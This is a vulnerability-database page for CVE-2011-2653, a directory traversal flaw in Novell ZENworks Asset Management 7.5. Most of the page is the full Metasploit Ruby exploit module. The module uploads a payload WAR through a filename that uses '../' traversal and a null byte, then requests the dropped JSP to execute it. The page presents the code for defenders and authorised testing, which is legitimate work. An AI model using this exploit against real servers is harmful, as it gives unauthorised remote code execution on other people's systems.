CVE-2011-2653

critical
Published 2011-12-08 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Directory traversal vulnerability in the rtrlet component in Novell ZENworks Asset Management (ZAM) 7.5 allows remote attackers to execute arbitrary code by uploading an executable file.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-20502 remote java verified ruby ยท 6 KB
Metasploit ยท 2012-08-15

Novell ZENworks Asset Management - Remote Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Novell ZENworks Asset Management Remote Execution',
			'Description' => %q{
					This module exploits a path traversal flaw in Novell ZENworks Asset Management
				7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
				outside of the MalibuUploadDirectory and then make a secondary request that allows
				for arbitrary code execution.
			},
			'Author'         =>
				[
					'Unknown', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'CVE', '2011-2653' ],
					[ 'OSVDB', '77583' ],
					[ 'BID', '50966' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],
					[ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
				],
			'Privileged'  => true,
			'Platform'    => [ 'java' ],
			'Targets'     =>
				[
					[ 'Java Universal',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						},
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 02 2011'))

		register_options(
			[
				Opt::RPORT(8080),
				OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
			], self.class )
	end

	def exploit

		# Generate the WAR containing the payload
		app_base = rand_text_alphanumeric(4+rand(32-4))
		jsp_name = rand_text_alphanumeric(8+rand(8))
		war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

		uid  = rand_text_alphanumeric(34).to_s

		data =  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
		data << "prod\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
		data << "newreport\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
		data << "n\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
		data << "malibu.StartImportPAC\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
		data << "malibu.StartImportPAC\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
		data << "MM/dd/yyyy\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
		data << "$\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
		data << "start\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
		data << ",\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
		data << ".\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
		data << "-\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
		data << "yes\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
		data << "Content-Type: application/octet-stream\r\n\r\n"
		data << war_data
		data << "\r\n"
		data <<  "------#{uid}\r\n"
		data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
		data << "Html/UploadSuccess.html\r\n"
		data <<  "------#{uid}--\r\n"

		res = send_request_cgi(
			{
				'uri'    => "/rtrlet/catch",
				'method' => 'POST',
				'ctype'   => "multipart/form-data; boundary=----#{uid}",
				'data'    => data,
			})

		print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

		select(nil, nil, nil, 10)

		if (res.code == 500)
			print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
				send_request_raw(
					{
						'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
						'method' => 'GET',
					})
		else
			print_error("WAR upload failed...")
		end

	end

end

Metasploit modules

Novell ZENworks Asset Management Remote Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
suse novellzenworks_asset_management7.5

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.